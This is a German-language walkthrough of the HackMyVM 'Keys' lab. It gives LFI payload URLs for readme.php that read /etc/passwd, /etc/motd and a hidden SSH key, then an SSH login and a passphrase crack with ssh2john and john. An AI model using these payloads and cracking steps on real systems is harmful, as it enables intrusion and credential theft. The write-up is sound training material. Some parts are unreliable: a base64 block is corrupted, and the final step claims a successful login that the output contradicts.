Keys - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
gobuster
curl
wget
base64
unzip
lftp
ls
grep
find
cat
ssh
sudo
chsh
python3
rev
cp
chmod
vi (oder nano)
ssh2john
john
gpg2john
gpg
su
id
dcode.fr (Web)
8gwifi.org (Web)

Inhaltsverzeichnis

Reconnaissance

Analyse: Der `arp-scan -l` Befehl wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment verwendet.

Bewertung: Ein Host mit der IP 192.168.2.147 und der MAC `08:00:27:5f:dd:6e` (PCS Systemtechnik GmbH / VirtualBox) wird gefunden. Dies ist das Zielsystem "Keys".

Empfehlung (Pentester): Notieren Sie die IP 192.168.2.147 für weitere Scans.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.147	08:00:27:5f:dd:6e	PCS Systemtechnik GmbH

Analyse: Ein Nmap-Scan wird auf die Ziel-IP 192.168.2.147 durchgeführt, um offene Ports, Dienste, Versionen und Betriebssysteminformationen zu ermitteln (`-sS -sC -T5 -sV -A -p-`).

Bewertung: Der Scan identifiziert zwei offene Ports:

Am Ende des Scans tritt ein Segmentation Fault auf, was auf ein Problem mit Nmap oder dem Zielsystem während des Scans hindeuten könnte, die relevanten Portinformationen wurden jedoch bereits gesammelt.

Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 genauer. Halten Sie SSH als Login-Möglichkeit bereit, falls Zugangsdaten gefunden werden. Ignorieren Sie den Segmentation Fault vorerst, da die benötigten Informationen extrahiert wurden.
Empfehlung (Admin): Halten Sie SSH und Nginx aktuell. Untersuchen Sie die Ursache für den Segmentation Fault bei Nmap-Scans, falls dieser reproduzierbar ist (könnte auf Systeminstabilität oder IDS/IPS-Aktivität hindeuten).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.147 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-13 11:01 CEST
Nmap scan report for keys (192.168.2.147)
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 6e:b1:d1:09:f5:dc:01:29:ed:9d:4f:8e:a7:7a:a0:a6 (RSA)
|   256 35:f4:29:df:64:6a:be:7f:9f:0a:9f:ee:07:e4:19:07 (ECDSA)
|_  256 4e:0f:f7:32:cc:c7:91:57:07:d9:50:0a:38:c9:e5:11 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: The World of Keys
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:5F:DD:6E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms keys (192.168.2.147)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.09 seconds
zsh: segmentation fault  nmap -sS -sC -T5 -sV -A 192.168.2.147 -p-

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver verwendet. Eine gängige Wortliste (`common.txt`) und eine umfangreiche Liste von Erweiterungen werden genutzt.

Bewertung: Der Scan findet mehrere interessante Dateien:

Empfehlung (Pentester):

  1. Laden Sie `id_rsa.zip` herunter und untersuchen Sie den Inhalt.
  2. Rufen Sie `readme.php` auf und analysieren Sie den Inhalt und den Quellcode.
Empfehlung (Admin): Speichern Sie niemals private Schlüssel oder Archive mit Schlüsseln im Web-Root oder anderen öffentlich zugänglichen Bereichen. Entfernen Sie unnötige PHP-Dateien oder Readme-Dateien.

┌──(root㉿cyber)-[~/k3ysSsSsSsSsS] └─# gobuster dir -u http://192.168.2.147 -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
===============================================================
Gobuster v3.1.0
[...]
===============================================================
[...]
/index.html           (Status: 200) [Size: 135]
/id_rsa.zip           (Status: 200) [Size: 69167472]
/readme.php           (Status: 200) [Size: 398]
[...]
===============================================================

Analyse: Die Datei `/readme.php` wird mit `curl` abgerufen.

Bewertung: Die Seite selbst zeigt nur "[ Read Me. ]". Im HTML-Quellcode (nicht direkt von `curl` gezeigt, aber im nächsten Schritt extrahiert) befindet sich ein Kommentar: ``. Der Text erwähnt, dass dieser Base58-String mit dcode.fr zu `my_personal_wordlist.txt` dekodiert werden kann. Dies ist ein Hinweis auf eine potenzielle Wortliste, die auf dem System existieren könnte.

Empfehlung (Pentester): Merken Sie sich den Dateinamen `my_personal_wordlist.txt`. Suchen Sie nach dieser Datei, nachdem Sie initialen Zugriff erlangt haben. Untersuchen Sie den Quellcode von `readme.php` genauer (wie im nächsten Schritt), da PHP-Dateien serverseitige Logik enthalten können.
Empfehlung (Admin): Hinterlassen Sie keine Hinweise oder verschlüsselten/kodierten Informationen im Quellcode oder in Kommentaren.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.147/readme.php
 
    

[ Read Me. ]

Analyse: Die Datei `id_rsa.zip` wird mit `wget` heruntergeladen.

Bewertung: Der Download ist erfolgreich. Die große Datei (66 MB) wird lokal gespeichert und muss nun untersucht werden.

Empfehlung (Pentester): Entpacken Sie `id_rsa.zip` und analysieren Sie den Inhalt. Aufgrund der Größe handelt es sich wahrscheinlich um ein großes Archiv mit vielen Schlüsseln oder anderen Daten.
Empfehlung (Admin): (Siehe vorherige Empfehlung zum Speichern von Schlüsseln im Web-Root).

┌──(root㉿cyber)-[~] └─# wget http://192.168.2.147/id_rsa.zip
--2022-10-13 11:06:11--  http://192.168.2.147/id_rsa.zip
Connecting to 192.168.2.147:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 69167472 (66M) [application/zip]
Saving to: ‘id_rsa.zip’

id_rsa.zip                    100%[=====================================================>]  65.96M   156MB/s    in 0.4s

2022-10-13 11:06:11 (156 MB/s) - ‘id_rsa.zip’ saved [69167472/69167472]

Analyse: Ein Base64-kodierter String wird dekodiert. Der String enthält den HTML-Code der `readme.php`-Seite und zusätzlich den PHP-Quellcode dieser Datei.

Bewertung: Der PHP-Code von `readme.php` wird enthüllt: `` Dies zeigt eine kritische Local File Inclusion (LFI)-Schwachstelle. Der Wert des GET-Parameters `34sy` wird direkt in eine `include`-Anweisung eingefügt. Dies erlaubt das Einbinden und potenziell Ausführen beliebiger lokaler Dateien auf dem Server, auf die der Webserver-Benutzer (`www-data`) Lesezugriff hat. Die Kommentare erwähnen erneut Base58/Z85 und `id_rsa.zip`.

Empfehlung (Pentester):

  1. Nutzen Sie die LFI-Schwachstelle, um wichtige Dateien zu lesen:
  2. `/etc/passwd`: `http://192.168.2.147/readme.php?34sy=/etc/passwd`
  3. `/etc/hosts`, `/etc/ssh/sshd_config` etc.
  4. Versuchen Sie, den Quellcode anderer PHP-Dateien zu lesen (z.B. mit `php://filter`): `http://192.168.2.147/readme.php?34sy=php://filter/convert.base64-encode/resource=index.php`
  5. Suchen Sie nach Wegen, die LFI zur Remote Code Execution (RCE) zu eskalieren (Log Poisoning, `/proc/self/environ`, PHP-Sessions).
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle in `readme.php` dringend, indem Sie Benutzereingaben validieren und sicherstellen, dass nur erlaubte Dateien eingebunden werden können. Verwenden Sie niemals Benutzereingaben direkt in `include`/`require`-Anweisungen. Entfernen Sie die `readme.php` oder kommentieren Sie die `include`-Zeile aus.

┌──(root㉿cyber)-[~] └─# echo "PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8c3R5bGU+CiAgICAuY2VudGVyIHsKICAgIG1hcmdpbjogMDsKICAgIHBvc2l0aW9uiBhYnNvbHV0ZTsKICAgIHRvcDogNTAlwogICAgbGVmdDogNTAlwogICAgZm9udC1zaXpliAxMDBweDsKICAgIC1tcy10cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKTsKICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpwogIH0KICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogIDxkaXYgY2xhc3M9ImNlbnRlciI+CiAgICA8cD5bIFJlYWQgTWUuIF08L3A+CiAgICA8IS0tIEhlcmUgaXMgYSBHaWZ0IGZvciB5b3UgQXlyNDNLd1Nkd3BXUXc2SEZjZThTYU1tcFdIMTJYc1VGIC0tPgogIDwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KCgo8P3BocAogICAgaW5jbHVkZSgkX0dFVFsnMzRzeSddKTsKICAgIC8vIFRoZSBXb3JsZCBvZiBLZXlzIGFyZSBIZXJlIHlDUWxTcS8rKFVxLysoVXFWCiAgICAvLyBJIExvdmUgWjg1IChaZXJvTVEpIDopCiAgICAvLyBvbmUgbW9yZSBnaWZ0IGZvciB5b3UgikgaWRfcnNhLnppcAo/Pgo=" -n | base64 -d
 
    

[ Read Me. ]

< -- Here is a Gift for you Ayr43KwSdwpWQw6HFce8SaMmpWH12XsUF --> include($GET['34sy']); // The World of Keys are Here yCQlSq/+(Uq/+(UqV // I Love Z85 (ZeroMQ) :) // one more gift for you :) id_rsa.zip

Analyse: Das heruntergeladene Archiv `id_rsa.zip` wird entpackt.

Bewertung: Das Archiv enthält eine Verzeichnisstruktur (`id_rsa/2048/pub/`), in der sich offenbar sehr viele öffentliche SSH-Schlüssel befinden (die Namen sehen wie Hashes + Nummer aus). Dies erklärt die Größe des Archivs. Es scheint sich um eine Sammlung öffentlicher Schlüssel zu handeln.

Empfehlung (Pentester): Diese Schlüssel allein sind nicht direkt nützlich. Es könnte jedoch sein, dass ein zugehöriger privater Schlüssel an anderer Stelle auf dem System oder über die LFI gefunden werden kann. Bewahren Sie die extrahierten Schlüssel auf, falls Sie später einen privaten Schlüssel finden und den zugehörigen öffentlichen Schlüssel identifizieren müssen.
Empfehlung (Admin): (Siehe vorherige Empfehlung zum Speichern von Schlüsseln).

┌──(root㉿cyber)-[~] └─# unzip id_rsa.zip
Archive:  id_rsa.zip
   creating: id_rsa/
   creating: id_rsa/2048/
   creating: id_rsa/2048/pub/
  inflating: id_rsa/2048/pub/0fc8df0bf2b5553484d3a19dfc654de5-15528.pub
  inflating: id_rsa/2048/pub/0f12255242a960b01f3893f3b2022856-8179.pub
  inflating: id_rsa/2048/pub/0e1fefb0bb44cc1a83d8cb73452c53c9-4212.pub
  inflating: id_rsa/2048/pub/0dc75803ce91497cb9b571e8bf14b47c-29500.pub
  [... viele weitere Dateien ...]

Analyse: Es wird versucht, mit `lftp mirror` ein Verzeichnis namens `k3ysSsSsSsSsS` vom Webserver herunterzuladen. Anschließend wird in dieses lokal erstellte Verzeichnis gewechselt und dessen Inhalt aufgelistet, wobei nach Dateien gefiltert wird, die *nicht* die Größe 960 haben.

Bewertung: Der `lftp mirror`-Befehl schlägt wahrscheinlich fehl oder ist hier fehl am Platz, da kein solches Verzeichnis auf dem Webserver bekannt ist. Der Fokus auf die Dateigröße 960 und die Suche nach einer Datei `id_rsa-4695` im Verzeichnis `k3ysSsSsSsSsS` (das vermutlich manuell erstellt oder aus einem anderen Kontext stammt) ist unklar. Es wird jedoch eine Datei `id_rsa-4695` gefunden, die eine Notiz enthält.

Empfehlung (Pentester): Die Schritte mit `lftp` und dem spezifischen Verzeichnis/Dateigrößenfilter sind verwirrend und scheinen nicht direkt aus den vorherigen Schritten zu folgen. Konzentrieren Sie sich auf die LFI-Schwachstelle. Der Inhalt von `id_rsa-4695` ("HaHa you found me...") ist wahrscheinlich ein Hinweis und nicht der eigentliche private Schlüssel. Suchen Sie nach der Datei `a473e40621001f61dbf97b310b1caefb-4695` (die zum Public Key passt, der später gefunden wird) auf dem System, möglicherweise über die LFI.
Empfehlung (Admin): Keine direkten Maßnahmen basierend auf diesen unklaren Schritten, außer der allgemeinen Empfehlung, keine unnötigen Hinweise auf dem System zu hinterlassen.

┌──(root㉿cyber)-[~] └─# lftp -c mirror http://192.168.2.147/k3ysSsSsSsSsS
[Fehler oder leere Übertragung erwartet]
┌──(root㉿cyber)-[~] └─# cd k3ysSsSsSsSsS
(Verzeichnis muss existieren)
┌──(root㉿cyber)-[~/k3ysSsSsSsSsS] └─# ls -la | grep -v 960
drwxr-xr-x  2 root root 274432 13. Okt 11:12 .
drwx------ 38 root root   4096 13. Okt 11:12 ..
-rw-r--r--  1 root root    980 27. Okt 2021  id_rsa-4695
┌──(root㉿cyber)-[~/k3ysSsSsSsSsS] └─# find . -name "*4695"
./id_rsa-4695
┌──(root㉿cyber)-[~/k3ysSsSsSsSsS] └─# cat id_rsa-4695
HaHa you found me :)

here is a little note for you:-

If you get stuck, Remember I'm here just for you

Analyse: Es wird `find` auf dem lokalen Angreifer-System ausgeführt, um nach einer Datei zu suchen, die einem bestimmten Hash-Muster und der Nummer `-4695` entspricht. Dies hängt wahrscheinlich mit dem Versuch zusammen, einen privaten Schlüssel zu finden, der zu einem der öffentlichen Schlüssel aus `id_rsa.zip` passt.

Bewertung: Der Befehl findet die Datei an zwei Orten im lokalen Dateisystem des Angreifers. Dies deutet darauf hin, dass der Angreifer möglicherweise bereits eine Sammlung von privaten Schlüsseln besitzt oder diese zuvor heruntergeladen hat (z.B. über den `lftp mirror`-Versuch oder aus einem anderen Leak). Die Datei `a473e40621001f61dbf97b310b1caefb-4695` ist der potenzielle private Schlüssel.

Empfehlung (Pentester): Behalten Sie den Pfad zu diesem privaten Schlüssel im Auge. Sie benötigen den zugehörigen Benutzernamen und müssen bestätigen, dass der Schlüssel auf dem Zielsystem verwendet wird (z.B. indem der öffentliche Schlüssel in einer `authorized_keys`-Datei gefunden wird).

┌──(root㉿cyber)-[~/k3ysSsSsSsSsS] └─# find / -name "a473e40621001f61dbf97b310b1caefb-4695"
/root/id_rsa/2048/private/a473e40621001f61dbf97b310b1caefb-4695
/root/HackingTools/openssl_5720_hack/rsa/2048/a473e40621001f61dbf97b310b1caefb-4695

Initial Access

Analyse: Die LFI-Schwachstelle in `readme.php` wird genutzt, um den Inhalt von `/etc/passwd` auszulesen.

Bewertung: Der Befehl ist erfolgreich und listet die Benutzerkonten des Systems auf. Relevante Benutzer mit Shell (`/bin/bash`) sind: `root`, `steve`, `jack`, `rachel`, `useless`.

Empfehlung (Pentester): Notieren Sie die Benutzernamen. Versuchen Sie als Nächstes, weitere sensible Dateien über LFI zu lesen, z.B. `/etc/shadow` (unwahrscheinlich wegen Berechtigungen), `/etc/motd`, SSH-Konfigurationsdateien oder Home-Verzeichnisse (falls Berechtigungen es zulassen).
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle.

# Aufruf im Browser oder mit curl:
http://192.168.2.147/readme.php?34sy=/etc/passwd

# Ausgabe (bereinigt):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
jack:x:1001:1001::/home/jack:/bin/bash
rachel:x:1002:1002::/home/rachel:/bin/bash
useless:x:1003:1003::/home/useless:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin

Analyse: Die LFI-Schwachstelle wird genutzt, um den Inhalt von `/etc/motd` (Message of the Day) auszulesen.

Bewertung: Kritischer Fund! Die MOTD-Datei enthält die Zugangsdaten für den Benutzer `useless` im Klartext: `[ useless:user ]`.

Empfehlung (Pentester): Verwenden Sie die Zugangsdaten `useless`:`user`, um sich per SSH auf dem Zielsystem anzumelden.
Empfehlung (Admin): Speichern Sie niemals Passwörter oder sensible Informationen in der MOTD oder anderen öffentlich lesbaren Systemdateien.

# Aufruf im Browser oder mit curl:
http://192.168.2.147/readme.php?34sy=/etc/motd

# Ausgabe (bereinigt, relevanter Teil):
[...]
The programs included with the Debian GNU/Linux system are free software;
[ useless:user ]   <<<--------------------------
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
[...]

Analyse: Es wird versucht, sich per SSH als Benutzer `useless` mit dem in der MOTD gefundenen Passwort `user` anzumelden.

Bewertung: Login erfolgreich! Nach einigen Fehlversuchen (im Text gezeigt) gelingt der Login. Der Angreifer hat nun eine Shell als Benutzer `useless`.

Empfehlung (Pentester): Führen Sie Enumeration als `useless` durch (`sudo -l`, Home-Verzeichnis prüfen, `user.txt`/`youser.txt` suchen).
Empfehlung (Admin): Starke Passwörter erzwingen, keine Passwörter in MOTD.

┌──(root㉿cyber)-[~/k3ysSsSsSsSsS] └─# ssh useless@192.168.2.147
The authenticity of host '192.168.2.147 (192.168.2.147)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.147' (ED25519) to the list of known hosts.
useless@192.168.2.147's password: (Falsches Passwort)
Permission denied, please try again.
useless@192.168.2.147's password: (Falsches Passwort)
Permission denied, please try again.
useless@192.168.2.147's password: user
Linux keys 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
[ useless:user ] the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Oct 28 12:58:34 2021 from 192.168.1.5
useless@keys:~$ 

Privilege Escalation

Analyse: Als Benutzer `useless` werden die `sudo`-Rechte geprüft und das Home-Verzeichnis untersucht.

Bewertung: `useless` hat keine `sudo`-Rechte (`Sorry, user useless may not run sudo on keys.`). Im Home-Verzeichnis befindet sich eine Datei `youser.txt`, die einen Teil der User-Flag enthält: `4vJkf*`.

Empfehlung (Pentester): Notieren Sie diesen Teil der Flag. Suchen Sie nach anderen Wegen zur Rechteausweitung oder Lateral Movement (SUID-Binaries, Cronjobs, lesbare Home-Verzeichnisse anderer Benutzer).

useless@keys:~$ sudo -l
[sudo] password for useless: user
Sorry, user useless may not run sudo on keys.
useless@keys:~$ ls
youser.txt
useless@keys:~$ cat youser.txt
4vJkf*

Analyse: Die Home-Verzeichnisse anderer Benutzer werden aufgelistet. Ein ungewöhnlicher, tiefer Verzeichnispfad unter `/home/rachel` wird entdeckt, der Schreibrechte für die Gruppe `useless` hat. Der Inhalt dieses Verzeichnisses und des entsprechenden Pfades unter `/etc/ssh/sshd_config.d` wird untersucht.

Bewertung: Der Pfad `/home/rachel/the/secret/file/is/in/etc/ssh/sshd_config.d` ist ein klarer Hinweis. In `/etc/ssh/sshd_config.d` befindet sich eine versteckte Datei `.rachel_key.private`, die nur von `root` und der Gruppe `www-data` lesbar ist. Da `useless` nicht zur Gruppe `www-data` gehört, kann er die Datei nicht direkt lesen. Der Pfad im Rachel-Homeverzeichnis ist leer, scheint aber ein Köder oder eine Sackgasse zu sein.

Empfehlung (Pentester): Nutzen Sie die zuvor entdeckte LFI-Schwachstelle als `www-data` (Webserver-Benutzer), um den Inhalt von `/etc/ssh/sshd_config.d/.rachel_key.private` zu lesen: `http://192.168.2.147/readme.php?34sy=/etc/ssh/sshd_config.d/.rachel_key.private`.
Empfehlung (Admin): Verstecken Sie private Schlüssel nicht an ungewöhnlichen Orten oder mit unklaren Berechtigungen. Verwenden Sie Standardpfade (`~/.ssh/`) und korrekte Berechtigungen (`600`). Entfernen Sie irreführende Verzeichnispfade.

useless@keys:~$ ls /home
jack  rachel  steve  useless
useless@keys:~$ cd /home/rachel/the/secret/file/is/in/etc/ssh/sshd_config.d/
useless@keys:/home/rachel/the/secret/file/is/in/etc/ssh/sshd_config.d$ ls -la
total 8
drwxrwx--- 2 useless useless 4096 Oct 28  2021 . # Unerwartete Berechtigungen?
drwxr-xr-x 6 rachel  rachel  4096 Oct 28  2021 ..
useless@keys:/home/rachel/the/secret/file/is/in/etc/ssh/sshd_config.d$ cd /etc/ssh/sshd_config.d
useless@keys:/etc/ssh/sshd_config.d$ ls -la
total 12
drwxr-xr-x 2 root root     4096 Oct 28  2021 .
drwxr-xr-x 4 root root     4096 Oct 28  2021 ..
----r----- 1 root www-data  691 Oct 28  2021 .rachel_key.private

Analyse: Der private Schlüssel von Rachel wird über die LFI-Schwachstelle ausgelesen. Die Ausgabe enthält HTML-Code und dann Base64-kodierte Daten. Der Base64-Teil wird extrahiert und dekodiert.

Bewertung: Die dekodierten Daten sehen wie ein verschlüsselter privater SSH-Schlüssel aus (`Proc-Type: 4,ENCRYPTED`). Die Kopf- und Fußzeilen (`-----BEGIN * PRIVATE KEY-----`) sind jedoch durch Sternchen (`*`) ersetzt. Es fehlt auch ein Teil des Schlüssels ("someone removed those 3 lovely characters").

Empfehlung (Pentester):

  1. Identifizieren Sie den fehlenden Schlüsseltyp. Die Struktur ähnelt PEM, aber der Typ ist unklar (* steht für RSA, DSA, EC etc.). Nutzen Sie Online-Tools oder Erfahrung, um den Typ zu erraten (hier: DSA, wie im Text erwähnt).
  2. Ersetzen Sie die Sternchen (`*`) durch den korrekten Typ (`DSA`).
  3. Speichern Sie den korrigierten, verschlüsselten Schlüssel in einer Datei (z.B. `key`).
  4. Verwenden Sie `ssh2john`, um den Hash des Schlüssels zu extrahieren (`ssh2john key > key.txt`).
  5. Verwenden Sie `john` mit einer Wortliste, um die Passphrase des Schlüssels zu knacken (`john --wordlist=/usr/share/wordlists/rockyou.txt key.txt`).
Empfehlung (Admin): Speichern Sie private Schlüssel niemals in für den Webserver lesbaren Verzeichnissen. Verwenden Sie starke Passphrasen für SSH-Schlüssel.

# LFI Aufruf (Browser/curl):
view-source:http://192.168.2.147/readme.php?34sy=/etc/ssh/sshd_config.d/.rachel_key.private

# Ausgabe (Auszug):
[...]
 
someone removed those 3 lovely characters ;(

LS0tLS1CRUdJTiAqKiogUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF
Sy1JbmZviBERVMtRURFMy1DQkMsMTk2TU1REVDMEVGQ0JEMAoKYUEzQ1c0dmlaeDBuRTM3eTBj
TldKZnlqQlFVN1oxNVFZQTUxRmFhQTFaYWtXcTlHY0d3K29PMVBwcWIreVhrNApxUtjUjVHMy9I
dVc4bnlDMFhIV2JHSkxiUitoMU9TTZLdU5CNzVnRFNrN0cyUmY4a21tZXdzMDdzcFppeE1wCklq
anVQVUZcGFzVXdNZlRRK2J4WUcyZ0xDMFRXcUN0SWFHbnFDRE1SVVBRmJZkhwY0xFL093U1NI
G9HDcKUFJZYzc1Tlh5eUFueFBCMHVMNUgvVFkxckxGTlYZ0tXN2hQTlpwYkkwdEdCYkttbWI5
WEl1dGx5UmJxREVpVApKSUh5MTNsdTlsM2N5Nk83bkdsZ2dTMzNKVnI3cGNmcXkxSktRZ1BpY2xI
RkVjei8vK1R2NmVBK1gxajJNenBNCmhIYXRqb29vRUd3NXVPSDZkQ3ErT3c9PQotLS0tLUVRCAq
KiogUFJJVkFURSBLRVktLS0tLQo=
# Base64 Dekodierung (z.B. mit CyberChef):

-----BEGIN * PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,196955DEC0EFCBD0

aA3CW4viZx0nE37y0cNWJfyjBQU7Z15QYA51FaaA1ZakWq9GcGw+o1Ppqb+yXk4
q9KcR5G3/HuW8nyC0XHWbGJLbR+h1NM6KuNB75gDSk7G2Rf8kmmews07spZixMp
IjjuPUFNpasUwMfTQ+bxYG2gLC0TWqCtIaGnqCDMRUPNFbNfHpcLE/wSSH8oG87
PRYc75NXyyAnxPB0uL5H/TY1rLF99XgKW7hPNZpbI0tGBbKmmb9XIutlyRbqDEiT
JIHy13lu9l3cy67nGlggS33JVr7pcfqy1JKQgPiclHFEcz//+Tv6eA+X1j2MzpM
hHatjoooEGw5uH6dCq+w
-----END * PRIVATE KEY-----

# Korrektur mit Online-Tool/Erfahrung (ersetze '*' durch 'DSA'):
# Speichern als Datei 'key'
┌──(root㉿cyber)-[~] └─# vi key
-----BEGIN DSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,196955DEC0EFCBD0

aA3CW4viZx0nE37y0cNWJfyjBQU7Z15QYA51FaaA1ZakWq9GcGw+o1Ppqb+yXk4
q9KcR5G3/HuW8nyC0XHWbGJLbR+h1NM6KuNB75gDSk7G2Rf8kmmews07spZixMp
IjjuPUFNpasUwMfTQ+bxYG2gLC0TWqCtIaGnqCDMRUPNFbNfHpcLE/wSSH8oG87
PRYc75NXyyAnxPB0uL5H/TY1rLF99XgKW7hPNZpbI0tGBbKmmb9XIutlyRbqDEiT
JIHy13lu9l3cy67nGlggS33JVr7pcfqy1JKQgPiclHFEcz//+Tv6eA+X1j2MzpM
hHatjoooEGw5uH6dCq+w
-----END DSA PRIVATE KEY-----

Analyse: Der korrigierte, aber immer noch verschlüsselte private Schlüssel wird mit `ssh2john` verarbeitet, um einen Hash zu extrahieren, der für `John the Ripper` verständlich ist. Dieser Hash wird in `key.txt` gespeichert. Anschließend wird `john` mit der `rockyou.txt`-Wortliste auf die Hash-Datei angesetzt.

Bewertung: Passphrase geknackt! `john` findet erfolgreich die Passphrase für den privaten DSA-Schlüssel: `jack4rachel`.

Empfehlung (Pentester): Sie haben nun den privaten Schlüssel und dessen Passphrase. Versuchen Sie, sich per SSH als Benutzer `rachel` (da es `.rachel_key.private` hieß) anzumelden, oder als `jack` (da die Passphrase auf ihn hindeutet). Verwenden Sie die Option `-i key`, um den Schlüssel anzugeben, und geben Sie die Passphrase `jack4rachel` ein, wenn danach gefragt wird.
Empfehlung (Admin): Verwenden Sie starke, nicht erratbare Passphrasen für SSH-Schlüssel. Speichern Sie private Schlüssel sicher und mit restriktiven Berechtigungen.

┌──(root㉿cyber)-[~] └─# ssh2john key > key.txt
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt key.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jack4rachel      (key)
1g 0:00:00:00 DONE (2022-10-13 11:25) 100.0g/s 1200Kp/s 1200Kc/s 1200KC/s jac..jack4rachel
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Analyse: Es wird versucht, sich per SSH als Benutzer `jack` (basierend auf der Passphrase) mit dem privaten Schlüssel `key` anzumelden. Beim ersten Versuch gibt es eine Warnung wegen falscher Berechtigungen (`0644`). Nach Korrektur der Berechtigungen (impliziert) und Eingabe der Passphrase `jack4rachel` ist der Login erfolgreich.

Bewertung: Erfolgreiches Lateral Movement zum Benutzer `jack`. Der Angreifer hat nun eine Shell als `jack`.

Empfehlung (Pentester): Führen Sie Enumeration als `jack` durch (`sudo -l`, SUID, Home-Verzeichnis, User-Flag suchen).
Empfehlung (Admin): Sicherstellen, dass private Schlüssel korrekte Berechtigungen (`600`) haben.

┌──(root㉿cyber)-[~] └─# ssh -i key jack@key.hmv
(key.hmv ist der Hostname, IP wäre 192.168.2.147)
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "key": bad permissions
jack@key.hmv's password: jack4rachel # Hier wird Passwort statt Key abgefragt wegen Fehler
Permission denied, please try again.
jack@key.hmv's password:
